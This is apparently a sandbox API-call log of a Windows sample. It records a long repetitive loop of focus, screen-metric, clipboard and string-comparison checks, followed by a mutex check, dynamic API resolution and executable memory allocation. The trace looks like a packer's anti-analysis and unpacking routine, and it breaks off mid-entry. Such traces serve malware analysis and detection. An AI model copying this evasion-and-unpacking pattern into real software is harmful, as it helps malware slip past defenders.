GetFocus () returned 0x0 [0029.419] GetSystemMetrics (nIndex=25) returned 0 [0029.419] CountClipboardFormats () returned 0 [0029.419] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.420] GetFocus () returned 0x0 [0029.420] GetSystemMetrics (nIndex=25) returned 0 [0029.420] CountClipboardFormats () returned 0 [0029.420] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.420] GetFocus () returned 0x0 [0029.420] GetSystemMetrics (nIndex=25) returned 0 [0029.420] CountClipboardFormats () returned 0 [0029.420] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.420] GetFocus () returned 0x0 [0029.420] GetSystemMetrics (nIndex=25) returned 0 [0029.420] CountClipboardFormats () returned 0 [0029.420] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.420] GetFocus () returned 0x0 [0029.420] GetSystemMetrics (nIndex=25) returned 0 [0029.420] CountClipboardFormats () returned 0 [0029.420] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.420] GetFocus () returned 0x0 [0029.420] GetSystemMetrics (nIndex=25) returned 0 [0029.420] CountClipboardFormats () returned 0 [0029.420] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.420] GetFocus () returned 0x0 [0029.420] GetSystemMetrics (nIndex=25) returned 0 [0029.420] CountClipboardFormats () returned 0 [0029.420] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.420] GetFocus () returned 0x0 [0029.420] GetSystemMetrics (nIndex=25) returned 0 [0029.420] CountClipboardFormats () returned 0 [0029.420] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.420] GetFocus () returned 0x0 [0029.420] GetSystemMetrics (nIndex=25) returned 0 [0029.420] CountClipboardFormats () returned 0 [0029.420] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.420] GetFocus () returned 0x0 [0029.420] GetSystemMetrics (nIndex=25) returned 0 [0029.420] CountClipboardFormats () returned 0 [0029.420] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.420] GetFocus () returned 0x0 [0029.420] GetSystemMetrics (nIndex=25) returned 0 [0029.420] CountClipboardFormats () returned 0 [0029.420] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.420] GetFocus () returned 0x0 [0029.420] GetSystemMetrics (nIndex=25) returned 0 [0029.420] CountClipboardFormats () returned 0 [0029.420] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.420] GetFocus () returned 0x0 [0029.420] GetSystemMetrics (nIndex=25) returned 0 [0029.420] CountClipboardFormats () returned 0 [0029.420] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.420] GetFocus () returned 0x0 [0029.420] GetSystemMetrics (nIndex=25) returned 0 [0029.420] CountClipboardFormats () returned 0 [0029.420] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.420] GetFocus () returned 0x0 [0029.420] GetSystemMetrics (nIndex=25) returned 0 [0029.420] CountClipboardFormats () returned 0 [0029.420] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.421] GetFocus () returned 0x0 [0029.421] GetSystemMetrics (nIndex=25) returned 0 [0029.421] CountClipboardFormats () returned 0 [0029.421] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.421] GetFocus () returned 0x0 [0029.421] GetSystemMetrics (nIndex=25) returned 0 [0029.421] CountClipboardFormats () returned 0 [0029.421] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.421] GetFocus () returned 0x0 [0029.421] GetSystemMetrics (nIndex=25) returned 0 [0029.421] CountClipboardFormats () returned 0 [0029.421] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.421] GetFocus () returned 0x0 [0029.421] GetSystemMetrics (nIndex=25) returned 0 [0029.421] CountClipboardFormats () returned 0 [0029.421] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.421] GetFocus () returned 0x0 [0029.421] GetSystemMetrics (nIndex=25) returned 0 [0029.421] CountClipboardFormats () returned 0 [0029.421] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.421] GetFocus () returned 0x0 [0029.421] GetSystemMetrics (nIndex=25) returned 0 [0029.421] CountClipboardFormats () returned 0 [0029.421] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.421] GetFocus () returned 0x0 [0029.421] GetSystemMetrics (nIndex=25) returned 0 [0029.421] CountClipboardFormats () returned 0 [0029.421] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.421] GetFocus () returned 0x0 [0029.421] GetSystemMetrics (nIndex=25) returned 0 [0029.421] CountClipboardFormats () returned 0 [0029.421] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.421] GetFocus () returned 0x0 [0029.421] GetSystemMetrics (nIndex=25) returned 0 [0029.421] CountClipboardFormats () returned 0 [0029.421] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.421] GetFocus () returned 0x0 [0029.421] GetSystemMetrics (nIndex=25) returned 0 [0029.421] CountClipboardFormats () returned 0 [0029.421] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.421] GetFocus () returned 0x0 [0029.421] GetSystemMetrics (nIndex=25) returned 0 [0029.421] CountClipboardFormats () returned 0 [0029.421] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.421] GetFocus () returned 0x0 [0029.421] GetSystemMetrics (nIndex=25) returned 0 [0029.421] CountClipboardFormats () returned 0 [0029.421] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.421] GetFocus () returned 0x0 [0029.421] GetSystemMetrics (nIndex=25) returned 0 [0029.421] CountClipboardFormats () returned 0 [0029.421] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.421] GetFocus () returned 0x0 [0029.421] GetSystemMetrics (nIndex=25) returned 0 [0029.421] CountClipboardFormats () returned 0 [0029.421] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.421] GetFocus () returned 0x0 [0029.421] GetSystemMetrics (nIndex=25) returned 0 [0029.421] CountClipboardFormats () returned 0 [0029.421] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.421] GetFocus () returned 0x0 [0029.421] GetSystemMetrics (nIndex=25) returned 0 [0029.421] CountClipboardFormats () returned 0 [0029.422] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.422] GetFocus () returned 0x0 [0029.422] GetSystemMetrics (nIndex=25) returned 0 [0029.422] CountClipboardFormats () returned 0 [0029.422] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.422] GetFocus () returned 0x0 [0029.422] GetSystemMetrics (nIndex=25) returned 0 [0029.422] CountClipboardFormats () returned 0 [0029.422] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.422] GetFocus () returned 0x0 [0029.422] GetSystemMetrics (nIndex=25) returned 0 [0029.422] CountClipboardFormats () returned 0 [0029.422] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.422] GetFocus () returned 0x0 [0029.422] GetSystemMetrics (nIndex=25) returned 0 [0029.422] CountClipboardFormats () returned 0 [0029.422] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.422] GetFocus () returned 0x0 [0029.422] GetSystemMetrics (nIndex=25) returned 0 [0029.422] CountClipboardFormats () returned 0 [0029.422] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.422] GetFocus () returned 0x0 [0029.422] GetSystemMetrics (nIndex=25) returned 0 [0029.422] CountClipboardFormats () returned 0 [0029.422] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.422] GetFocus () returned 0x0 [0029.422] GetSystemMetrics (nIndex=25) returned 0 [0029.422] CountClipboardFormats () returned 0 [0029.422] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.422] GetFocus () returned 0x0 [0029.422] GetSystemMetrics (nIndex=25) returned 0 [0029.422] CountClipboardFormats () returned 0 [0029.422] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.422] GetFocus () returned 0x0 [0029.422] GetSystemMetrics (nIndex=25) returned 0 [0029.422] CountClipboardFormats () returned 0 [0029.422] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.422] GetFocus () returned 0x0 [0029.422] GetSystemMetrics (nIndex=25) returned 0 [0029.422] CountClipboardFormats () returned 0 [0029.422] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.422] GetFocus () returned 0x0 [0029.422] GetSystemMetrics (nIndex=25) returned 0 [0029.422] CountClipboardFormats () returned 0 [0029.422] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.422] GetFocus () returned 0x0 [0029.422] GetSystemMetrics (nIndex=25) returned 0 [0029.422] CountClipboardFormats () returned 0 [0029.422] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.422] GetFocus () returned 0x0 [0029.422] GetSystemMetrics (nIndex=25) returned 0 [0029.422] CountClipboardFormats () returned 0 [0029.422] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.422] GetFocus () returned 0x0 [0029.422] GetSystemMetrics (nIndex=25) returned 0 [0029.422] CountClipboardFormats () returned 0 [0029.422] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.422] GetFocus () returned 0x0 [0029.422] GetSystemMetrics (nIndex=25) returned 0 [0029.422] CountClipboardFormats () returned 0 [0029.422] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.422] GetFocus () returned 0x0 [0029.423] GetSystemMetrics (nIndex=25) returned 0 [0029.423] CountClipboardFormats () returned 0 [0029.423] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.423] GetFocus () returned 0x0 [0029.423] GetSystemMetrics (nIndex=25) returned 0 [0029.423] CountClipboardFormats () returned 0 [0029.423] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.423] GetFocus () returned 0x0 [0029.423] GetSystemMetrics (nIndex=25) returned 0 [0029.423] CountClipboardFormats () returned 0 [0029.423] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.423] GetFocus () returned 0x0 [0029.423] GetSystemMetrics (nIndex=25) returned 0 [0029.423] CountClipboardFormats () returned 0 [0029.423] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.423] GetFocus () returned 0x0 [0029.423] GetSystemMetrics (nIndex=25) returned 0 [0029.423] CountClipboardFormats () returned 0 [0029.423] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.423] GetFocus () returned 0x0 [0029.423] GetSystemMetrics (nIndex=25) returned 0 [0029.423] CountClipboardFormats () returned 0 [0029.423] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.423] GetFocus () returned 0x0 [0029.423] GetSystemMetrics (nIndex=25) returned 0 [0029.423] CountClipboardFormats () returned 0 [0029.423] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.423] GetFocus () returned 0x0 [0029.423] GetSystemMetrics (nIndex=25) returned 0 [0029.423] CountClipboardFormats () returned 0 [0029.423] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.423] GetFocus () returned 0x0 [0029.423] GetSystemMetrics (nIndex=25) returned 0 [0029.423] CountClipboardFormats () returned 0 [0029.423] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.423] GetFocus () returned 0x0 [0029.423] GetSystemMetrics (nIndex=25) returned 0 [0029.423] CountClipboardFormats () returned 0 [0029.423] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.423] GetFocus () returned 0x0 [0029.423] GetSystemMetrics (nIndex=25) returned 0 [0029.423] CountClipboardFormats () returned 0 [0029.423] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.423] GetFocus () returned 0x0 [0029.423] GetSystemMetrics (nIndex=25) returned 0 [0029.423] CountClipboardFormats () returned 0 [0029.423] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.423] GetFocus () returned 0x0 [0029.423] GetSystemMetrics (nIndex=25) returned 0 [0029.423] CountClipboardFormats () returned 0 [0029.423] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.423] GetFocus () returned 0x0 [0029.423] GetSystemMetrics (nIndex=25) returned 0 [0029.423] CountClipboardFormats () returned 0 [0029.423] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.423] GetFocus () returned 0x0 [0029.423] GetSystemMetrics (nIndex=25) returned 0 [0029.423] CountClipboardFormats () returned 0 [0029.423] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.423] GetFocus () returned 0x0 [0029.423] GetSystemMetrics (nIndex=25) returned 0 [0029.423] CountClipboardFormats () returned 0 [0029.424] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.424] GetFocus () returned 0x0 [0029.424] GetSystemMetrics (nIndex=25) returned 0 [0029.424] CountClipboardFormats () returned 0 [0029.424] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.424] GetFocus () returned 0x0 [0029.424] GetSystemMetrics (nIndex=25) returned 0 [0029.424] CountClipboardFormats () returned 0 [0029.424] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.424] GetFocus () returned 0x0 [0029.424] GetSystemMetrics (nIndex=25) returned 0 [0029.424] CountClipboardFormats () returned 0 [0029.424] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.424] GetFocus () returned 0x0 [0029.424] GetSystemMetrics (nIndex=25) returned 0 [0029.424] CountClipboardFormats () returned 0 [0029.424] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.424] GetFocus () returned 0x0 [0029.424] GetSystemMetrics (nIndex=25) returned 0 [0029.424] CountClipboardFormats () returned 0 [0029.424] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.424] GetFocus () returned 0x0 [0029.424] GetSystemMetrics (nIndex=25) returned 0 [0029.424] CountClipboardFormats () returned 0 [0029.424] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.424] GetFocus () returned 0x0 [0029.424] GetSystemMetrics (nIndex=25) returned 0 [0029.424] CountClipboardFormats () returned 0 [0029.424] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.424] GetFocus () returned 0x0 [0029.424] GetSystemMetrics (nIndex=25) returned 0 [0029.424] CountClipboardFormats () returned 0 [0029.424] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.424] GetFocus () returned 0x0 [0029.424] GetSystemMetrics (nIndex=25) returned 0 [0029.424] CountClipboardFormats () returned 0 [0029.424] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.424] GetFocus () returned 0x0 [0029.424] GetSystemMetrics (nIndex=25) returned 0 [0029.424] CountClipboardFormats () returned 0 [0029.424] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.424] GetFocus () returned 0x0 [0029.424] GetSystemMetrics (nIndex=25) returned 0 [0029.424] CountClipboardFormats () returned 0 [0029.424] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.424] GetFocus () returned 0x0 [0029.424] GetSystemMetrics (nIndex=25) returned 0 [0029.424] CountClipboardFormats () returned 0 [0029.424] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.424] GetFocus () returned 0x0 [0029.424] GetSystemMetrics (nIndex=25) returned 0 [0029.424] CountClipboardFormats () returned 0 [0029.424] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.424] GetFocus () returned 0x0 [0029.424] GetSystemMetrics (nIndex=25) returned 0 [0029.424] CountClipboardFormats () returned 0 [0029.424] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.424] GetFocus () returned 0x0 [0029.424] GetSystemMetrics (nIndex=25) returned 0 [0029.424] CountClipboardFormats () returned 0 [0029.424] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.424] GetFocus () returned 0x0 [0029.424] GetSystemMetrics (nIndex=25) returned 0 [0029.425] CountClipboardFormats () returned 0 [0029.425] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.425] GetFocus () returned 0x0 [0029.425] GetSystemMetrics (nIndex=25) returned 0 [0029.425] CountClipboardFormats () returned 0 [0029.425] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.425] GetFocus () returned 0x0 [0029.425] GetSystemMetrics (nIndex=25) returned 0 [0029.425] CountClipboardFormats () returned 0 [0029.425] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.425] GetFocus () returned 0x0 [0029.425] GetSystemMetrics (nIndex=25) returned 0 [0029.425] CountClipboardFormats () returned 0 [0029.425] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.425] GetFocus () returned 0x0 [0029.425] GetSystemMetrics (nIndex=25) returned 0 [0029.425] CountClipboardFormats () returned 0 [0029.425] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.425] GetFocus () returned 0x0 [0029.425] GetSystemMetrics (nIndex=25) returned 0 [0029.425] CountClipboardFormats () returned 0 [0029.425] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.425] GetFocus () returned 0x0 [0029.425] GetSystemMetrics (nIndex=25) returned 0 [0029.425] CountClipboardFormats () returned 0 [0029.425] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.425] GetFocus () returned 0x0 [0029.425] GetSystemMetrics (nIndex=25) returned 0 [0029.425] CountClipboardFormats () returned 0 [0029.425] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.425] GetFocus () returned 0x0 [0029.425] GetSystemMetrics (nIndex=25) returned 0 [0029.425] CountClipboardFormats () returned 0 [0029.425] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.425] GetFocus () returned 0x0 [0029.425] GetSystemMetrics (nIndex=25) returned 0 [0029.425] CountClipboardFormats () returned 0 [0029.425] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.425] GetFocus () returned 0x0 [0029.425] GetSystemMetrics (nIndex=25) returned 0 [0029.425] CountClipboardFormats () returned 0 [0029.425] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.425] GetFocus () returned 0x0 [0029.425] GetSystemMetrics (nIndex=25) returned 0 [0029.425] CountClipboardFormats () returned 0 [0029.425] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.425] GetFocus () returned 0x0 [0029.425] GetSystemMetrics (nIndex=25) returned 0 [0029.425] CountClipboardFormats () returned 0 [0029.425] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.425] GetFocus () returned 0x0 [0029.425] GetSystemMetrics (nIndex=25) returned 0 [0029.425] CountClipboardFormats () returned 0 [0029.425] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.425] GetFocus () returned 0x0 [0029.425] GetSystemMetrics (nIndex=25) returned 0 [0029.425] CountClipboardFormats () returned 0 [0029.425] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.425] GetFocus () returned 0x0 [0029.425] GetSystemMetrics (nIndex=25) returned 0 [0029.425] CountClipboardFormats () returned 0 [0029.425] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.426] GetFocus () returned 0x0 [0029.426] GetSystemMetrics (nIndex=25) returned 0 [0029.426] CountClipboardFormats () returned 0 [0029.426] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.426] GetFocus () returned 0x0 [0029.426] GetSystemMetrics (nIndex=25) returned 0 [0029.426] CountClipboardFormats () returned 0 [0029.426] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.426] GetFocus () returned 0x0 [0029.426] GetSystemMetrics (nIndex=25) returned 0 [0029.426] CountClipboardFormats () returned 0 [0029.426] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.426] GetFocus () returned 0x0 [0029.426] GetSystemMetrics (nIndex=25) returned 0 [0029.426] CountClipboardFormats () returned 0 [0029.426] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.426] GetFocus () returned 0x0 [0029.426] GetSystemMetrics (nIndex=25) returned 0 [0029.426] CountClipboardFormats () returned 0 [0029.426] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.426] GetFocus () returned 0x0 [0029.426] GetSystemMetrics (nIndex=25) returned 0 [0029.426] CountClipboardFormats () returned 0 [0029.426] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.426] GetFocus () returned 0x0 [0029.426] GetSystemMetrics (nIndex=25) returned 0 [0029.426] CountClipboardFormats () returned 0 [0029.426] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.426] GetFocus () returned 0x0 [0029.426] GetSystemMetrics (nIndex=25) returned 0 [0029.426] CountClipboardFormats () returned 0 [0029.426] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.426] GetFocus () returned 0x0 [0029.426] GetSystemMetrics (nIndex=25) returned 0 [0029.426] CountClipboardFormats () returned 0 [0029.426] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.426] GetFocus () returned 0x0 [0029.426] GetSystemMetrics (nIndex=25) returned 0 [0029.426] CountClipboardFormats () returned 0 [0029.426] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.426] GetFocus () returned 0x0 [0029.426] GetSystemMetrics (nIndex=25) returned 0 [0029.426] CountClipboardFormats () returned 0 [0029.426] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.426] GetFocus () returned 0x0 [0029.426] GetSystemMetrics (nIndex=25) returned 0 [0029.426] CountClipboardFormats () returned 0 [0029.426] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.426] GetFocus () returned 0x0 [0029.426] GetSystemMetrics (nIndex=25) returned 0 [0029.426] CountClipboardFormats () returned 0 [0029.426] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.426] GetFocus () returned 0x0 [0029.426] GetSystemMetrics (nIndex=25) returned 0 [0029.426] CountClipboardFormats () returned 0 [0029.426] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.426] GetFocus () returned 0x0 [0029.426] GetSystemMetrics (nIndex=25) returned 0 [0029.426] CountClipboardFormats () returned 0 [0029.426] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.426] GetFocus () returned 0x0 [0029.426] GetSystemMetrics (nIndex=25) returned 0 [0029.426] CountClipboardFormats () returned 0 [0029.427] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.427] GetFocus () returned 0x0 [0029.427] GetSystemMetrics (nIndex=25) returned 0 [0029.427] CountClipboardFormats () returned 0 [0029.427] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.427] GetFocus () returned 0x0 [0029.427] GetSystemMetrics (nIndex=25) returned 0 [0029.427] CountClipboardFormats () returned 0 [0029.427] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.427] GetFocus () returned 0x0 [0029.427] GetSystemMetrics (nIndex=25) returned 0 [0029.427] CountClipboardFormats () returned 0 [0029.427] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.427] GetFocus () returned 0x0 [0029.427] GetSystemMetrics (nIndex=25) returned 0 [0029.427] CountClipboardFormats () returned 0 [0029.427] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.427] GetFocus () returned 0x0 [0029.427] GetSystemMetrics (nIndex=25) returned 0 [0029.427] CountClipboardFormats () returned 0 [0029.427] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.427] GetFocus () returned 0x0 [0029.427] GetSystemMetrics (nIndex=25) returned 0 [0029.427] CountClipboardFormats () returned 0 [0029.427] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.427] GetFocus () returned 0x0 [0029.427] GetSystemMetrics (nIndex=25) returned 0 [0029.427] CountClipboardFormats () returned 0 [0029.427] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.427] GetFocus () returned 0x0 [0029.427] GetSystemMetrics (nIndex=25) returned 0 [0029.427] CountClipboardFormats () returned 0 [0029.427] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.427] GetFocus () returned 0x0 [0029.427] GetSystemMetrics (nIndex=25) returned 0 [0029.427] CountClipboardFormats () returned 0 [0029.427] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.427] GetFocus () returned 0x0 [0029.427] GetSystemMetrics (nIndex=25) returned 0 [0029.427] CountClipboardFormats () returned 0 [0029.427] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.427] GetFocus () returned 0x0 [0029.427] GetSystemMetrics (nIndex=25) returned 0 [0029.427] CountClipboardFormats () returned 0 [0029.427] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.427] GetFocus () returned 0x0 [0029.427] GetSystemMetrics (nIndex=25) returned 0 [0029.427] CountClipboardFormats () returned 0 [0029.427] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.427] GetFocus () returned 0x0 [0029.427] GetSystemMetrics (nIndex=25) returned 0 [0029.427] CountClipboardFormats () returned 0 [0029.427] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.427] GetFocus () returned 0x0 [0029.427] GetSystemMetrics (nIndex=25) returned 0 [0029.427] CountClipboardFormats () returned 0 [0029.427] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.427] GetFocus () returned 0x0 [0029.427] GetSystemMetrics (nIndex=25) returned 0 [0029.427] CountClipboardFormats () returned 0 [0029.427] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.427] GetFocus () returned 0x0 [0029.427] GetSystemMetrics (nIndex=25) returned 0 [0029.428] CountClipboardFormats () returned 0 [0029.428] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.428] GetFocus () returned 0x0 [0029.428] GetSystemMetrics (nIndex=25) returned 0 [0029.428] CountClipboardFormats () returned 0 [0029.428] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.428] GetFocus () returned 0x0 [0029.428] GetSystemMetrics (nIndex=25) returned 0 [0029.428] CountClipboardFormats () returned 0 [0029.428] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.428] GetFocus () returned 0x0 [0029.428] GetSystemMetrics (nIndex=25) returned 0 [0029.428] CountClipboardFormats () returned 0 [0029.428] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.428] GetFocus () returned 0x0 [0029.428] GetSystemMetrics (nIndex=25) returned 0 [0029.428] CountClipboardFormats () returned 0 [0029.428] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.428] GetFocus () returned 0x0 [0029.428] Sleep (dwMilliseconds=0x0) [0029.465] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0029.465] GetLastError () returned 0x2 [0029.465] GetLocalTime (in: lpSystemTime=0x45fa40 | out: lpSystemTime=0x45fa40*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0xc, wMilliseconds=0x268)) [0029.465] VarI4FromUI1 (in: bIn=0x1, plOut=0x45fa50 | out: plOut=0x45fa50) returned 0x0 [0029.465] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x45f884 | out: ProcedureAddress=0x45f884*=0x75a01856) returned 0x0 [0029.465] VirtualAlloc (lpAddress=0x0, dwSize=0x12000, flAllocationType=0x1000, flProtect=0x4) returned 0xe0000 [0029.468] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x45f8bc | out: ProcedureAddress=0x45f8bc*=0x75a01856) returned 0x0 [0029.468] VirtualAlloc (lpAddress=0x0, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x40) returned 0x100000 [0029.469] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x45f92c | out: ProcedureAddress=0x45f92c*=0x75a049d7) returned 0x0 [0029.469] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="UnmapViewOfFile", Ordinal=0x0, ProcedureAddress=0x45f92c | out: ProcedureAddress=0x45f92c*=0x75a01826) returned 0x0 [0029.469] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x45f92c | out: ProcedureAddress=0x45f92c*=0x75a01222) returned 0x0 [0029.469] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x45f92c | out: 